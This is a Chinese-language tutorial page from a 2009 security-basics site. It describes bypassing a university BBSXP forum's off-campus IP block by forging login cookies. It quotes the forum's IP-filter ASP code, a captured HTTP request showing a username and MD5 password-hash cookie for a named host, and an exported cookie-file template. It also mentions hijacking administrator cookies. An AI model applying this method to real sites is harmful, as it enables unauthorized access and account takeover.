当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 突破ip封锁登陆论坛系统

安全基础
因特网特殊的几个IP地址的用途
ADSL掉线的原因
分析系统中木马病毒的运行方式
系统和网络安全的七大误解
安全威胁术语简单介绍
光电鼠标几种故障和维修方法
移动硬盘加密软件TrueCrypt使用指南
屏蔽QQ广告和迷你首页广告的技巧
XXCOPY克隆硬盘 DOS命令恢复系统
利用Google免费接收天气预报手机短信
拒绝腾讯QQ弹出迷你首页广告
网页上隐藏Email地址的技巧
进程Explorer.exe和IExplore.exe认识
网卡MAC地址导致笔记本电脑不能上网
木马经常藏身的地方和清除方法
删除文件和粉碎文件两个功能的区别
用户不再关心Windows频繁弹出的对话框
ADSL设备出厂时默认初始IP用户名和密码
内部网络管理员降低风险的策略
频繁发生的无线互访故障现象以及应对办法

安全基础 中的 突破ip封锁登陆论坛系统


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 69 ::
收藏到网摘: n/a

    教育部的一纸文件,国内各大高校的bbs一夜之间都被设置成只允许校内发帖。我们学校论坛是采用bbsxp(破论坛系统),本来由于服务器带宽的原因,人气就很低。管理员哥哥又封了校外的ip,不能登陆发帖。好多斑竹都是在用校园里的铁通宽带上网,还有些毕业了的,我们电脑版的可爱的echo,都进不来....(废话一大堆)
OK让我们开始。
论坛过滤 ip是在setup.asp这个页,

if Request.Cookies("username") <> empty then
sql="select * from [user] where username='"&HTMLEncode(Request.Cookies("username"))&"'"
Set Rs=Conn.Execute(SQL)
if rs.eof then Response.Cookies("username")=""
if Request.Cookies("userpass") <> rs("userpass") then Response.Cookies("username")=""
membercode=rs("membercode")
userface=""&rs("userface")&""
newmessage=rs("newmessage")
userlife=rs("userlife")
set rs=nothing
end if

if Request.ServerVariables("HTTP_X_FORWARDED_FOR")=empty then
remoteaddr=Request.ServerVariables("REMOTE_ADDR")
else
remoteaddr=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if

if badip<>empty then
filtrate=split(badip,"|")
for i = 0 to ubound(filtrate)
if instr("|"&remoteaddr&"","|"&filtrate(i)&"") > 0 then response.redirect "inc/badip.htm"
next
end if

if Request.Cookies("skins")=empty then Response.Cookies("skins")=style

这段代码就是setup.asp里验证用户这块,先读下吧.如果cookies不为空,则读取数据库验证用户的密码是否正确,正确的话定义变量,把一些需要用到的变量全都用数据库里读出来的数据赋值。然后进行读ip.如果ip属于被封的,则导向badip.htm禁止发登陆。
我们学校的系统和这个代码有出入,他们是自己改的代码。把校外的ip 全封掉,不过都是在这个基础上改的。他们的验证是另外写了一段代码验证的。应该是在登陆页做的封ip段代码,猜想是先判断cookies是否是真的,如果存在的话就直接跳过验证ip那段。如果为空的话,则用户没有登陆,然后才进行ip验证。他们的思路应该是这样。(没办法,不是我自己的系统,只能猜他们的封ip思路)导致过滤不严密。

如果个人文件中有cookies,系统就认为用户已经登陆,而不再进行ip的验证。这个就是我们今天破解被锁ip登陆的关键之处。伪造cookies

GET /images/closedfold.gif HTTP/1.1
Accept: */*
Referer: [url]http://bbs.glite.edu.cn/ShowForum.asp?forumid=31[/url]
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
If-Modified-Since: Wed, 15 May 2002 07:17:34 GMT
If-None-Match: "07b5995e0fbc11:17b1"
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)
Host: bbs.glite.edu.cn
Connection: Keep-Alive
Cookie: onlinetime=2005%2D5%2D28+14%3A43%3A04; addmin=60; ASPSESSIONIDACBSQCCT=LKFHJHECMPOOCDCPHEJIADHC; forumid=31; filename=%7C2005528131326%7C2005528134747; username=yuan8627; userpass=F1913EB31C9CA1F1341B1DC9DE069D8C; eremite=0

抓包显示cookies内容,上线时间onlinetime 在线分钟数addmin,看这段 username=yuan8627; userpass=F1913EB31C9CA1F1341B1DC9DE069D8C;。我们不得不又一次骂bbsxp这个论坛垃圾,用户名和密码都是数据库中的,虽然经过md5加密。dvbbs中cookies里的密码和数据库中的密码不一样,分开验证,所以伪造cookies几乎不可能。bbsxp 中代码的安全考虑不够,还号称国内最安全....如果有用户而已劫持了斑竹或者是管理员的cookies,然后进行cookies伪造,前台的权限可以删除帖子,修改帖子,版块。后果不堪设想。这个只留给有心的人了。
我们今天是要伪造个登陆过的cookies,然后突破ip封锁。

不能进行登陆,所以不能用iecv.exe来进行编辑.cookies 修改的同时会修改目录下的 index.dat这个文件{IE的索引文件,浏览的网页越多暗藏的“index.dat”索引文件容量也就越大。此选项可以初始化index.dat文件。}我发现ie下有个导入导出cookies功能,所以先把自己的cookies导出,然后再用把用户名和密码替换成另外一个号的,然后再进行导入。发现成功了,cookies导入的同时修改了目录下的index.dat 文件
所以,我们只需要自己把以前的cookies导出,然后在需要进入论坛的时候直接导入就可以自由的出入论坛了,再也没有ip的限制。
我在铁通的校外网上测试成功。

# Internet Explorer cookie file, exported for Netscape browsers.
bbs.glite.edu.cn TRUE / FALSE 1149109143 username 请用你的用户名覆盖
bbs.glite.edu.cn TRUE / FALSE 1149109143 userpass 请用你的经过加密的密码覆盖
bbs.glite.edu.cn TRUE / FALSE 1149109143 eremite